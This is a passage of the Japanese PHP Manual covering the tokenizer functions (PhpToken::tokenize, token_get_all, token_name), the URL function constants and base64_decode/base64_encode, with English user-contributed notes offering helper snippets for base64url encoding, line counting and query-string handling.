上の例の出力は以下となります。

Line 1: T_OPEN_TAG ('<?php ')
Line 1: T_ECHO ('echo')
Line 1: ; (';')
Line 1: T_WHITESPACE (' ')
Line 1: T_CLOSE_TAG ('?>')

例2 Extending PhpToken

<?php

class MyPhpToken extends PhpToken {
    public function getUpperText() {
        return strtoupper($this->text);
    }
}

$tokens = MyPhpToken::tokenize('<?php echo; ?>');
echo "'{$tokens[0]->getUpperText()}'";

上の例の出力は以下となります。

'<?PHP '

参考

  • token_get_all() - 指定したソースを PHP トークンに分割する

User Contributed Notes

There are no user contributed notes for this page.


Tokenizer 関数

目次

  • token_get_all — 指定したソースを PHP トークンに分割する
  • token_name — 指定した PHP トークンのシンボル名を取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したソースを PHP トークンに分割する

  • ≪ Tokenizer 関数
  • token_name ≫
  • PHP Manual
  • Tokenizer 関数
  • 指定したソースを PHP トークンに分割する

token_get_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

token_get_all — 指定したソースを PHP トークンに分割する

説明

token_get_all ( string $code , int $flags = 0 ) : array

token_get_all() は指定した文字列 code をパースし、Zend engine の 字句解析スキャナにより PHP 言語のトークンに分割します。

パーサトークンの一覧を得るには、パーサトークンの一覧 を参照するか、 あるいは token_name() でトークン値を文字列表現に 変換します。

パラメータ

code

パースする PHP ソース。

flags

以下のフラグが使えます。

  • TOKEN_PARSE - 特定のコンテキストで予約語を使った場合に、それを認識する。

返り値

トークン ID の配列を返します。配列の各要素には、一文字単位の文字列 (例: ;、.、 >、! など...)、 またはトークンのインデックスを 0 番目の要素、トークンの文字列表現を 1 番目の要素、 行番号を 2 番目の要素とする配列が含まれます。

例

例1 token_get_all() の例

<?php
$tokens = token_get_all('<?php echo; ?>');

foreach ($tokens as $token) {
    if (is_array($token)) {
        echo "Line {$token[2]}: ", token_name($token[0]), " ('{$token[1]}')", PHP_EOL;
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

Line 1: T_OPEN_TAG ('<?php ')
Line 1: T_ECHO ('echo')
Line 1: T_WHITESPACE (' ')
Line 1: T_CLOSE_TAG ('?>')

例2 token_get_all() の間違った使いかた

<?php
$tokens = token_get_all('/* comment */');

foreach ($tokens as $token) {
    if (is_array($token)) {
        echo "Line {$token[2]}: ", token_name($token[0]), " ('{$token[1]}')", PHP_EOL;
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

Line 1: T_INLINE_HTML ('/* comment */')
先ほどの例では、文字列が T_COMMENT ではなく T_INLINE_HTML とパースされていたことに注意しましょう。 これは、指定した "code" の中に開始タグが含まれていないからです。 通常のファイルで、コメントを PHP タグの外部に書いた場合にも同じようになります。

例3 予約語を使ったクラスでの token_get_all() の例

<?php

$source = <<<'code'
<?php

class A
{
    const PUBLIC = 1;
}
code;

$tokens = token_get_all($source, TOKEN_PARSE);

foreach ($tokens as $token) {
    if (is_array($token)) {
        echo token_name($token[0]) , PHP_EOL;
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

T_OPEN_TAG
T_WHITESPACE
T_CLASS
T_WHITESPACE
T_STRING
T_CONST
T_WHITESPACE
T_STRING
T_LNUMBER
TOKEN_PARSE フラグを指定しなければ、最後から二番目のトークン (T_STRING) が T_PUBLIC と解釈されてしまいます。

参考

  • PhpToken::tokenize() - ソースコードを PhpToken オブジェクトで表現されたトークンに分割する
  • token_name() - 指定した PHP トークンのシンボル名を取得する

User Contributed Notes

Ivan Ustanin 25-Aug-2018 05:40
As a caution: when using TOKEN_PARSE with an invalid php-file, one can get an error like this:
Parse error: syntax error, unexpected '__construct' (T_STRING), expecting function (T_FUNCTION) or const (T_CONST) in  on line 15
Notice the missing filename as this function accepts a string, not a filename and thus has no idea of the latter.
However an exception would be more appreciated.
bart 23-May-2017 08:34
Not all tokens are returned as an array. The rule appears to be that if a token is not variable, but instead it is one particular constant string, it is returned as a string instead. You don't get a line number. This is the case for braces( "{", "}"), parentheses ("(", ")"), brackets ("[", "]"), comma (","), semi-colon (";"), and a whole slew of operator signs ("!", "=", "+", "*", "/", ".", "+=", ...).
Theriault 02-Apr-2016 11:23
The T_OPEN_TAG token will include the first trailing newline (\r, \n, or \r\n), tab (\t), or space. Any additional space after this token will be in a T_WHITESPACE token.

The T_CLOSE_TAG token will include the first trailing newline (\r, \n, or \r\n; as described here http://php.net/manual/en/language.basic-syntax.instruction-separation.php). Any additional space after this token will be in a T_INLINE_HTML token.
gomodo at free dot fr 02-Aug-2009 10:08
Yes, some problems (On WAMP, PHP 5.3.0 ) with get_token_all()

1 : bug line numbers
 Since PHP 5.2.2 token_get_all()  should return Line numbers in element 2..
.. but for instance (5.3.0 on WAMP), it work perfectly only with PHP code (not HMTL miwed), but if you have some T_INLINE_HTML detected by token_get_all() ,  sometimes you find wrongs line numbers  (return next line)... :(

2: bug warning message can impact loops
Warning with php code uncompleted (ex : php code line by line) :
for example if a comment tag is not closed  token_get_all()  can block loops on this  warning :
Warning: Unterminated comment starting line

This problem seem not occur in CLI mod (php command line), but only in web mod.

Waiting more stability, used token_get_all()  only on PHP code (not HMTL miwed) :
First extract entirely PHP code (with open et close php tag),
Second use token_get_all()  on the pure PHP code.

3 : Why there not function to extract PHP code (to extract HTML, we have Tidy..)?

Waiting, I used a function :

The code at end this post :
http://www.developpez.net/forums/d786381/php/langage/
fonctions/analyser-fichier-php-token_get_all/

This function not support :
- Old notation :  "<?  ?>" and "<% %>"
- heredoc syntax
- nowdoc syntax (since PHP 5.3.0)
Dennis Robinson from basnetworks dot net 28-Jun-2009 09:24
I wanted to use the tokenizer functions to count source lines of code, including counting comments.  Attempting to do this with regular expressions does not work well because of situations where /* appears in a string, or other situations.  The token_get_all() function makes this task easy by detecting all the comments properly.  However, it does not tokenize newline characters.  I wrote the below set of functions to also tokenize newline characters as T_NEW_LINE.

<?php

define('T_NEW_LINE', -1);

function token_get_all_nl($source)
{
    $new_tokens = array();

    // Get the tokens
    $tokens = token_get_all($source);

    // Split newlines into their own tokens
    foreach ($tokens as $token)
    {
        $token_name = is_array($token) ? $token[0] : null;
        $token_data = is_array($token) ? $token[1] : $token;

        // Do not split encapsed strings or multiline comments
        if ($token_name == T_CONSTANT_ENCAPSED_STRING || substr($token_data, 0, 2) == '/*')
        {
            $new_tokens[] = array($token_name, $token_data);
            continue;
        }

        // Split the data up by newlines
        $split_data = preg_split('#(\r\n|\n)#', $token_data, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);

        foreach ($split_data as $data)
        {
            if ($data == "\r\n" || $data == "\n")
            {
                // This is a new line token
                $new_tokens[] = array(T_NEW_LINE, $data);
            }
            else
            {
                // Add the token under the original token name
                $new_tokens[] = is_array($token) ? array($token_name, $data) : $data;
            }
        }
    }

    return $new_tokens;
}

function token_name_nl($token)
{
    if ($token === T_NEW_LINE)
    {
        return 'T_NEW_LINE';
    }

    return token_name($token);
}

?>

Example usage:

<?php

$tokens = token_get_all_nl(file_get_contents('somecode.php'));

foreach ($tokens as $token)
{
    if (is_array($token))
    {
        echo (token_name_nl($token[0]) . ': "' . $token[1] . '"<br />');
    }
    else
    {
        echo ('"' . $token . '"<br />');
    }
}

?>

I'm sure you can figure out how to count the lines of code, and lines of comments with these functions.  This was a huge improvement on my previous attempt at counting lines of code with regular expressions.  I hope this helps someone, as many of the user contributed examples on this website have helped me in the past.
kevin at metalaxe dot com 26-Apr-2008 02:58
Rogier, thanks for that fix. This bug still exists in php 5.2.5. I did notice though that it is possible for a notice to pop up from your code. Changing this line:

            $temp[] = $tokens[0][2];

To read this:

            $temp[] = isset($tokens[0][2])?$tokens[0][2]:'unknown';

fixes this notice.
rogier 10-Jan-2008 11:01
Complementary note to code below:
Note that only the FIRST 2 (or 3, if needed) array elements will be updated.

Since I only encountered incorrect results on the FIRST occurence of T_OPEN_TAG, I wrote this quick fix.
Any other following T_OPEN_TAG are, on my testing system (Apache 2.0.52, PHP 5.0.3), parsed correctly.

So, This function assumes only a possibly incorrect first T_OPEN_TAG.
Also, this function assumes the very first element (and ONLY the first element) of the token array to be the possibly incorrect token.
This effectively translates to the first character of the tokenized source to be the start of a php script opening tag '<', followed by either 'php' OR '%' (ASP_style)
nicolas dot grekas+php at gmail dot com 03-Dec-2007 01:10
Well, there is a way to parse for errors. See
http://www.php.net/manual/function.php-check-syntax.php#77318


指定した PHP トークンのシンボル名を取得する

  • ≪ token_get_all
  • URLs ≫
  • PHP Manual
  • Tokenizer 関数
  • 指定した PHP トークンのシンボル名を取得する

token_name

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

token_name — 指定した PHP トークンのシンボル名を取得する

説明

token_name ( int $id ) : string

token_name()は、PHP id 値のシンボル名を返します。

パラメータ

id

トークンの値。

返り値

id に対応するシンボル名を返します。

例

例1 token_name() の例

<?php
// 260は T_EVAL トークンのトークン値
echo token_name(260);        // -> "T_EVAL"

// 自身の名前にマップするトークン定数
echo token_name(T_FUNCTION); // -> "T_FUNCTION"
?>

参考

  • パーサトークンの一覧

参考

  • PhpToken::getTokenName() - トークンの名前を返す

User Contributed Notes

There are no user contributed notes for this page.


URLs

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • URL 関数
    • base64_decode — MIME base64 方式によりエンコードされたデータをデコードする
    • base64_encode — MIME base64 方式でデータをエンコードする
    • get_headers — HTTP リクエストに対するレスポンス内で サーバーによって送出された全てのヘッダを取得する
    • get_meta_tags — ファイル上のすべてのメタタグ情報を配列に展開する
    • http_build_query — URL エンコードされたクエリ文字列を生成する
    • parse_url — URL を解釈し、その構成要素を返す
    • rawurldecode — URL エンコードされた文字列をデコードする
    • rawurlencode — RFC 3986 に基づき URL エンコードを行う
    • urldecode — URL エンコードされた文字列をデコードする
    • urlencode — 文字列を URL エンコードする

User Contributed Notes

There are no user contributed notes for this page.


はじめに

URL文字列を処理(エンコード、デコード、パース)します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

以下の定数は parse_url() で使用するもので、 PHP 5.1.2 以降で使用可能です。

PHP_URL_SCHEME (int)
PHP_URL_HOST (int)
パースした URL のホスト名を出力します。
PHP_URL_PORT (int)
パースした URL のポート番号を出力します。
PHP_URL_USER (int)
パースした URL のユーザー名を出力します。
PHP_URL_PASS (int)
パースした URL のパスワードを出力します。
PHP_URL_PATH (int)
パースした URL のパスを出力します。
PHP_URL_QUERY (int)
パースした URL のクエリ文字列を出力します。
PHP_URL_FRAGMENT (int)
パースした URL のフラグメント (# 以降の文字列) を出力します。

以下の定数は、 http_build_query() で利用するものです。

PHP_QUERY_RFC1738 (int)
» RFC 1738 と application/x-www-form-urlencoded メディアタイプに基づくエンコーディングを行います。 つまり、スペースはプラス記号 (+) にエンコードされます。
PHP_QUERY_RFC3986 (int)
» RFC 3986 に基づくエンコーディングを行います。 スペースはパーセントエンコードされて、%20 となります。

User Contributed Notes

There are no user contributed notes for this page.


URL 関数

目次

  • base64_decode — MIME base64 方式によりエンコードされたデータをデコードする
  • base64_encode — MIME base64 方式でデータをエンコードする
  • get_headers — HTTP リクエストに対するレスポンス内で サーバーによって送出された全てのヘッダを取得する
  • get_meta_tags — ファイル上のすべてのメタタグ情報を配列に展開する
  • http_build_query — URL エンコードされたクエリ文字列を生成する
  • parse_url — URL を解釈し、その構成要素を返す
  • rawurldecode — URL エンコードされた文字列をデコードする
  • rawurlencode — RFC 3986 に基づき URL エンコードを行う
  • urldecode — URL エンコードされた文字列をデコードする
  • urlencode — 文字列を URL エンコードする

User Contributed Notes

martin at limitless dot co dot uk 24-Jul-2006 08:31
Each %xx represents a letter. You would need to remove %68%74%74%70%3a%2f%2f (http://) from the beginning.
dday at cnscorp dot com 24-Jun-2005 10:22
When using a multiple select on a form, I ran into a little issue of only receiving the last value form the select box.
I had a select box named organization_id with two values (92 and 93).
To get the values of both, I had to use the following:

    $temp_array = split("&", $_SERVER['QUERY_STRING']);
    foreach($temp_array as $key=>$value){
        if(substr($value, 0, 15) == "organization_id"){
            $_GET['organizations'][] = substr($value, 15, strlen($value));
        }
    }

this results in a $_GET array like this :

(
    [page] => idea_submission
    [organization_id] => 93
    [organizations] => Array
        (
            [0] => =92
            [1] => =93
        )

)
php at malaker dot com 17-Dec-2003 03:25
Following method do not show the URL in user browser (as the author claimed) if the code resides in the source page of  FRAME or IFRAME (say SRC="sourcepage.php") . In that case the URL of the SOURCE page is displayed.

$url = sprintf("%s%s%s","http://",$HTTP_HOST,$REQUEST_URI);
echo "$url";

Expected result: http://localhost/urltest/framedpage.php

Actual result: http://localhost/urltest/sourcepage.php
chemanfit at hotmail 06-Jun-2003 05:24
just a side note to the above you will need to add the ?

example

$page=$PHP_SELF."?".$_SERVER['QUERY_STRING'];
ignacio paz posse 12-Mar-2003 05:31
Note on the above: the point is that is that using $_SERVER['QUERY_STRING'] along with $PHP_SELF we will have passed whatever variables are already appended (as they might be needed for database queries)

example, given the following url: http://www.your_domain/somepage.php?variable=1;

using $PHP_SELF" we are passing
[scheme]:(http://), [host]: www.your_domain/  and [path]: somepage.php

adding $_SERVER['QUERY_STRING'], we pass that, plus [query]: variable=1
ignacio 12-Mar-2003 10:16
/*
May be this is obvious but helps me since I found it:
If I want to append a variable to the url and pass it to the same page. ( in this example I'm using action=email to include an email form on the user click) i do:
*/

// ...

<a href="<? echo $PHP_SELF,'?',$_SERVER['QUERY_STRING'],'&action=email' ?>">email to us</a>

// ...

/* somewhere in the the page (in my case at the bottom) I have: */

<? if ($action=='email') include('emailForm.htm'); ?>
jrg45 at pantheon dot yale dot edu 10-Jul-2002 02:14
Note that $_SERVER["HTTP_REFERER"] may not include GET data that was included in the referring address, depending on the browser.  So if you rely on GET variables to generate a page, it's not a good idea to use HTTP_REFERER to smoothly "bounce" someone back to the page he/she came from.
postmaster at asmatic dot ch 29-Apr-2002 09:15
If you want to get the filename requested on a global error page like a 404, just use this code...

// get the full var...
$page = $HTTP_SERVER_VARS["QUERY_STRING"];

// part[1] is the url...
// part[0] is the http code (404, etc).
if(strpos($page,";")>0) {
   $pageParts = explode(";",$page);
   $page = $pageParts[1];
}

// get only the filename...
$page = basename($page);
stephane-wantiez at tiscalinet dot be 07-Feb-2002 06:29
if you do this, it will be easier :
echo "http://{$HTTP_HOST}{$REQUEST_URI}";
verdy_p at wanadoo dot fr 26-May-2001 10:47
Note also that the URL shown in $HTTP_REFERER is not always the URL of the web page where the user clicked to invoke the PHP script.
This may instead be a document of your own web site, which contains an HTML element whose one attribute references the script. Note also that the current page fragment (#anchor) may be transmitted or not with the URL, depending on the browser.
Examples:
<FRAME src="your-page-script.php"8>
<IMAGE src="your-image-script.php">

In such case, browsers should transmit the URL of the container document, but some still persist in using the previous document in the browser history, and this could cause a different $HTTP_REFERER value be sent when the user comes back to the document referencing your script. If you wanna be sure that the actual current document or previous document in the history is sent, use client-side JavaScript to send it to your script:

<SCRIPT language="JavaScript"><!--
document.writeln('<FRAME src="your-page-script.php?js=1&amp;ref=' +
document.location + '">');
--></SCRIPT><NOSCRIPT>
<FRAME src="your-page-script.php?js=0">
</NOSCRIPT>

And then check the value of $js in your page script to generate appropriate content when the remote user agent does not support client-side scripts (such as most index/scan robots, some old or special simplified browsers, or browsers with JavaScript disabled by their users).
tumor at kkt dot bme dot hu 01-Apr-2000 10:18
To check if a URL is valid, try to fopen() it. If fopen() results an error (returns false), then PHP cannot open the URL you asked. This is usually because it is not valid...


MIME base64 方式によりエンコードされたデータをデコードする

  • ≪ URL 関数
  • base64_encode ≫
  • PHP Manual
  • URL 関数
  • MIME base64 方式によりエンコードされたデータをデコードする

base64_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

base64_decode — MIME base64 方式によりエンコードされたデータをデコードする

説明

base64_decode ( string $string , bool $strict = false ) : string|false

base64 でエンコードされた string をデコードします。

パラメータ

string

デコードされるデータ。

strict

strict パラメータを true に指定すると、 base64_decode() 関数は、 入力に base64 アルファベットの範囲外の文字が含まれる場合に false を返します。 それ以外の場合は、base64 アルファベットの範囲外の文字を破棄したうえでデコードされます。

返り値

デコードされたデータを返します。失敗した場合に false を返します。 返り値はバイナリになることもあります。

例

例1 base64_decode() の例

<?php
$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==';
echo base64_decode($str);
?>

上の例の出力は以下となります。

This is an encoded string

参考

  • base64_encode() - MIME base64 方式でデータをエンコードする
  • » RFC 2045 6.8 節

User Contributed Notes

user at sfdsfd dot com 07-Jul-2019 08:03
function is_base64($str){
        if($str === base64_encode(base64_decode($str))){
            return true;
        }
        return false;
    }

---------------------------------------------------------------------------
---------------------------------------------------------------------------
---------------------------------------------------------------------------

    $str = 'VGhpcyBpcyBiYXNlNjQgZW5jb2RlIHN0cmluZw==';

    if(is_base64($str)){
        print base64_decode($str);
    }
markandrewslade at gmail dot com 08-Feb-2016 04:34
The docs don't make this explicitly clear, but if you omit `$strict` or set it to `false` then invalid characters in the encoded input will be silently ignored.

<?php

echo base64_decode('VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw=='); // "This is an encoded string"
echo base64_decode('$VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw=='); // "This is an encoded string"
echo base64_decode('$VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==', true); // false

?>
walf 02-Nov-2015 06:58
Base64 for URL parameters/filenames, that adhere to RFC 4648.
Defaults to dropping the padding on encode since it's not required for decoding, and keeps the URL free of % encodings.

<?php
function base64url_encode($data, $pad = null) {
    $data = str_replace(array('+', '/'), array('-', '_'), base64_encode($data));
    if (!$pad) {
        $data = rtrim($data, '=');
    }
    return $data;
}
function base64url_decode($data) {
    return base64_decode(str_replace(array('-', '_'), array('+', '/'), $data));
}
nicolem2005 at gmail dot com 23-Aug-2011 05:17
base64_decode seems to fail when decoding big files/strings. I had an issue decoding a 7MB image file. Here is a solution that worked for me:

$decodedstring=base64_decode(chunk_split($encodedstring));
winkelnkemper at googlemail dot com 27-Jan-2011 04:25
If you want to save data that is derived from a Javascript canvas.toDataURL() function, you have to convert blanks into plusses. If you do not do that, the decoded data is corrupted:

<?php
  $encodedData = str_replace(' ','+',$encodedData);
  $decocedData = base64_decode($encodedData);
?>
martinstaemmler at gmx dot net 17-Aug-2009 09:05
I had some trouble trying to let base64_decode decode base64-strings longer than ~5k chars.

The base64-decoding function is a homomorphism between modulo 4 and modulo 3-length segmented strings. That motivates a divide and conquer approach: Split the encoded string into substrings counting modulo 4 chars, then decode each substring and concatenate all of them.

Then instead of

<?php $decoded = base64_decode($encoded); ?>

for big $encoded strings, it's saver to use

<?php
$decoded = "";
for ($i=0; $i < ceil(strlen($encoded)/256); $i++)
   $decoded = $decoded . base64_decode(substr($encoded,$i*256,256));
?>

where 256 can be replaced by a sufficiently small modulo 4 natural.
dimagolov at yahoo dot com 10-Jul-2009 11:44
Here is function to decode Base 62 (see http://en.wikipedia.org/wiki/Base_62) string to number. It is used by MTA in message id, e.g. by Exim
<?php
function base62_decode($str) {
    $ret= 0;
    for ($i= 0, $l= strlen($str); $i < $l; $i++) {
        $val= ord($str[$i]);
        if (ctype_digit($str[$i]))
            $val-= ord('0');
        else if (ctype_upper($str[$i]))
            $val-= ord('A') - 10;
        else if (ctype_lower($str[$i]))
            $val-= ord('a') - 36;
        else
            $val= 0;
        $ret= $ret * 62 + $val;
    }
    return $ret;
}
?>
mcalwell 09-Apr-2009 09:20
I had a problem testing whether an imap message body was base64 encoded on a pre 5.2.* server.  I had been using this function on a post 5.2 server.

I found that the function imap_base64() returns FALSE on failing to decode a string, and that I could use that to check instead.

<?php
if(imap_base64($body)) $body = imap_base64($body);
?>
alvaro at demogracia dot com 05-Dec-2008 01:11
You can do partial decoding (e.g. from buffered input streams) if you choose a chunk length that is multiple of 4:

<?php

$encoded = base64_encode('The quick brown fox jumps over the lazy dog');
for($i=0, $len=strlen($encoded); $i<$len; $i+=4){
    echo base64_decode( substr($encoded, $i, 4) );
}

?>

4 encoded chars represent 3 original chars. The "=" character is used as padding.
twm at twmacinta dot com 09-Jul-2008 08:38
To follow up on Starson's post, PHP was changed to no longer treat a space as if it were a plus sign in CVS revision 1.43.2.1, which corresponds to PHP 5.1.0.  You can see what happened with a diff to branch point 1.43 at:

http://cvs.php.net/viewvc.cgi/php-src/ext/standard/base64.c

The CVS log indicates that this change was made to fix bug #34214 (base64_decode() does not properly ignore whitespace).

It would seem from the comment preceding the code which was removed that the treatment of the space as if it were the plus sign was actually intentional at one time:

    When Base64 gets POSTed, all pluses are interpreted as spaces.
    This line changes them back.  It's not exactly the Base64 spec,
    but it is completely compatible with it (the spec says that spaces
    are invalid).  This will also save many people considerable
    headache.

    if (ch == ' ') ch = '+';

However, RFC 3548 states that characters not in the Base64 alphabet should either be ignored or cause the implementation to reject the encoding and RFC 2045 says they should be ignored.  So the original code was unfortunately not fully compatible with the spec or other implementations.  It may have also masked problems with code not properly escaping POST variables.
debug 27-Feb-2008 12:39
@morgangalpin att gmail dotty com

A better implementation would be the following regular expression:

^[a-zA-Z0-9/+]*={0,2}$

Which will also detect the usage of = or == at the end of the string (and only end).

If this regex isn't following proper RFC guidelines, please comment on it.

A function geared specifically toward this:

<?php

function is_base64_encoded()
    {
        if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $data)) {
            return TRUE;
        } else {
            return FALSE;
        }
    };

is_base64_encoded("iash21iawhdj98UH3"); // true
is_base64_encoded("#iu3498r"); // false
is_base64_encoded("asiudfh9w=8uihf"); // false
is_base64_encoded("a398UIhnj43f/1!+sadfh3w84hduihhjw=="); // true

?>
zmorris at zsculpt dot com 10-Nov-2007 02:22
Here is a drop-in replacement for base64_decode(), based on a faster version of morgangalpin's code:

<?php
// workaround for bug in php 4.3.11 through 4.4.7, 5.1.2 through 5.2.4 and perhaps others (http://bugs.php.net/bug.php?id=37244)
function    base64_decode_fix( $data, $strict = false )
{
    if( $strict )
        if( preg_match( '![^a-zA-Z0-9/+=]!', $data ) )
            return( false );

    return( base64_decode( $data ) );
}
?>
Tom 06-Dec-2006 10:23
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_decode($base64url)
    {
        $base64 = strtr($base64url, '-_', '+/');
        $plainText = base64_decode($base64);
        return ($plainText);
    }
    ?>
Starson 19-Sep-2006 06:23
To expand on Jes' post:

The change took place between 5.0.5 and 5.1.0.  Exactly where I don't know or care.

In short php <= 5.0.5's base64_decode( $string ) will assume that a space is meant to be a + sign where php >= 5.1.0's base64_decode( $string ) will no longer make that assumption.  I did not see this noted in the change log.

Please note that, as of this writing, mb_convert_encoding( $string, "UTF-8", "BASE64" ) still behaves as base64_decode( $string ) did in php <= 5.0.5 regardless of the version of php you are running.
tobias at silverxnet dot de 23-Dec-2003 12:16
I was wondering how to decode attached images within mails. Basically they are mostly JPEG files, so it was obviously to write a function that decodes JPEG images.
I guess the plainest way to do so was the following:

<?php
function base64_to_jpeg( $inputfile, $outputfile ) {
  /* read data (binary) */
  $ifp = fopen( $inputfile, "rb" );
  $imageData = fread( $ifp, filesize( $inputfile ) );
  fclose( $ifp );
  /* encode & write data (binary) */
  $ifp = fopen( $outputfile, "wb" );
  fwrite( $ifp, base64_decode( $imageData ) );
  fclose( $ifp );
  /* return output filename */
  return( $outputfile );
}
?>

This function decodes the given inputfile (a filename!) and saves it to the given outputfile (a filename as well) and then returns the output filename for further usage (e.g. redirect, imagejpeg() and so on).
I thought that might be helpful.
Klaus Fehrenbacher 17-Apr-2003 04:05
this script can correct the bug

<?php
$enc = chunk_split(preg_replace('!\015\012|\015|\012!','',$enc));
$enc = base64_decode($enc);
?>
nsayer at kfu dot com 21-Mar-2002 01:15
I used to do uudecode as a C module, but I've discovered a really fast way to do it in PHP. Here it is:

<?php
function uudecode($encode) {
  $b64chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ\
abcdefghijklmnopqrstuvwxyz0123456789+/";

  $encode = preg_replace("/^./m","",$encode);
  $encode = preg_replace("/\n/m","",$encode);
  for($i=0; $i<strlen($encode); $i++) {
    if ($encode[$i] == '`')
      $encode[$i] = ' ';
    $encode[$i] = $b64chars[ord($encode[$i])-32];
  }

  while(strlen($encode) % 4)
    $encode .= "=";

  return base64_decode($encode);
}
?>

This is the PHP equivalent to perl's unpack("u",___). That is, you need to strip the 'begin' and 'end' lines from the typical uuencoded file.


MIME base64 方式でデータをエンコードする

  • ≪ base64_decode
  • get_headers ≫
  • PHP Manual
  • URL 関数
  • MIME base64 方式でデータをエンコードする

base64_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

base64_encode — MIME base64 方式でデータをエンコードする

説明

base64_encode ( string $string ) : string

指定した string を base64 でエンコードします。

このエンコードは、メールの本体のように 8 ビットクリーンではないトランスポート層を通じても、 バイナリデータが生き残れるように設計されています。

Base64 でエンコードされたデータは、エンコード前のデータにくらべて 33% 余計に容量が必要です。

パラメータ

string

エンコードするデータ。

返り値

エンコードされたデータを文字列で返します。

例

例1 base64_encode() の例

<?php
$str = 'This is an encoded string';
echo base64_encode($str);
?>

上の例の出力は以下となります。

VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==

参考

  • base64_decode() - MIME base64 方式によりエンコードされたデータをデコードする
  • chunk_split() - 文字列をより小さな部分に分割する
  • convert_uuencode() - 文字列を uuencode する
  • » RFC 2045 6.8 節

User Contributed Notes

raat1979 at gmail dot com 29-Sep-2018 06:27
shortest base64url_decode (correct version)

<?php
    function base64_urldecode($data){
        return base64_decode(strtr($data,'-_','+/').str_repeat("=", -strlen($data) & 3));
}
?>
raat1979 at gmail dot com 29-Sep-2018 06:18
shortest base64url_decode

<?php
function base64url_decode($data){
        return base64_decode($data.str_repeat("=", -strlen($data) & 3));
 }
?>
Rasmus Schultz 03-Sep-2018 12:28
In PHP 7, the padding issue with base64_decode() is no more - the following is totally fine:

function base64_encode_url($string) {
    return str_replace(['+','/','='], ['-','_',''], base64_encode($string));
}

function base64_decode_url($string) {
    return base64_decode(str_replace(['-','_'], ['+','/'], $string));
}

Checked here with random_bytes() and random lengths:

https://3v4l.org/aEs4o
ozziez_box at hotmail dot com 07-Feb-2018 09:31
Regarding base64url, you can just use:

<?php
$encodedUrl = urlencode(base64_encode($string));
$decodedUrl = base64_decode(url_decode($string));
?>
biziclop at vipmail dot hu 17-Oct-2017 04:42
gutzmer at usa dot net's ( http://php.net/manual/en/function.base64-encode.php#103849 ) base64url_decode() function doesn't pad longer strings with '='s. Here is a corrected version:

<?php
function base64url_encode( $data ){
  return rtrim( strtr( base64_encode( $data ), '+/', '-_'), '=');
}

function base64url_decode( $data ){
  return base64_decode( strtr( $data, '-_', '+/') . str_repeat('=', 3 - ( 3 + strlen( $data )) % 4 ));
}

// proof
for( $i = 0, $s = ''; $i < 24; ++$i, $s .= substr("$i", -1 )){
  $base64_encoded    = base64_encode(    $s );
  $base64url_encoded = base64url_encode( $s );
  $base64url_decoded = base64url_decode( $base64url_encoded );
  $base64_restored   = strtr( $base64url_encoded, '-_', '+/')
                     . str_repeat('=',
                         3 - ( 3 + strlen( $base64url_encoded )) % 4
                       );
  echo "$s<br>$base64url_decoded<br>$base64_encoded<br>$base64_restored<br>$base64url_encoded<br><br>";
}
?>
alf at trance dot net 13-May-2016 02:31
@gutzmer at usa dot net

Nice idea! However...

The function base64url_decode doesn't pad strings longer than 4 chars.
str_pad will only pad the string if the second argument is larger than the length of the original string. So the correct function should be:

<?php
function base64url_decode($data) {
  $len = strlen($data);
  return base64_decode(str_pad(strtr($data, '-_', '+/'), $len + $len % 4, '=', STR_PAD_RIGHT));
}

Note that base64_decode works fine without the padding, that is why your function works.
Anonymous 25-Sep-2015 05:26
Wikipedia has a list of 8 or so variations on the last 2 characters in Base64  (https://en.wikipedia.org/wiki/Base64). The following functions can handle all of them:

<?php
function base64_encode2($data, $a = "+/=") {
    $l = strlen($a);
    if ($l === 3) {
        return strtr(base64_encode($data), "+/=", $a);
    } else if ($l === 2) {
        return rtrim(strtr(base64_encode($data), "+/", $a), '=');
    } else {
        throw new InvalidArgumentException("Argument #2 must be 2 or 3 bytes.");
    }
}

function base64_decode2($data, $strict = false, $a = "+/=") {
    $l = strlen($a);
    if ($l === 3) {
        return base64_decode(strtr($data, $a, "+/="), $strict);
    } else if ($l === 2) {
        return base64_decode(strtr($data, $a, "+/"), $strict);
    } else {
        throw new InvalidArgumentException("Argument #2 must be 2 or 3 bytes.");
    }
}
?>

Example usage:

<?php
$decoded = "ABC123";

// base64 XML identifier:
$encoded = base64_encode2($decoded, "_:");
$decoded = base64_decode2($encoded, false, "_:");

// base64 URL (RFC 6920):
// base64 XML name token:
$encoded = base64_encode($decoded, "-_")
$decoded = base64_decode($encoded, false, "-_");

// modified base64 XML name token:
$encoded = base64_encode2($decoded, ".-");
$decoded = base64_decode2($encoded, false, ".-");

// modified base64 for Regular Expressions:
$encoded = base64_encode2($decoded, "!-");
$decoded = base64_decode2($encoded, false, "!-");

// base64 used in YUI library:
$encoded = base64_encode2($decoded, "._-");
$decoded = base64_decode2($encoded, false, "._-");
?>
sadhooklay [at] gmail [dot] com 16-Dec-2014 12:26
<?php
    /**
     * Generates a random URL-safe base64 string.
     *
     * See RFC 3548 for the definition of URL-safe base64.
     * If $n is not specified, Secure::RANDOM_LENGTH is assumed. It may be larger in future.
     *
     * @param int $n Specifies the length of the random string
     * @param bool $padding
     * @return string The result may contain A-Z, a-z, 0-9, "-" and "_". "=" is also used if $padding is true.
     */
    public static function newToken($n = null, $padding = false)
    {
        // Generate a new unique token
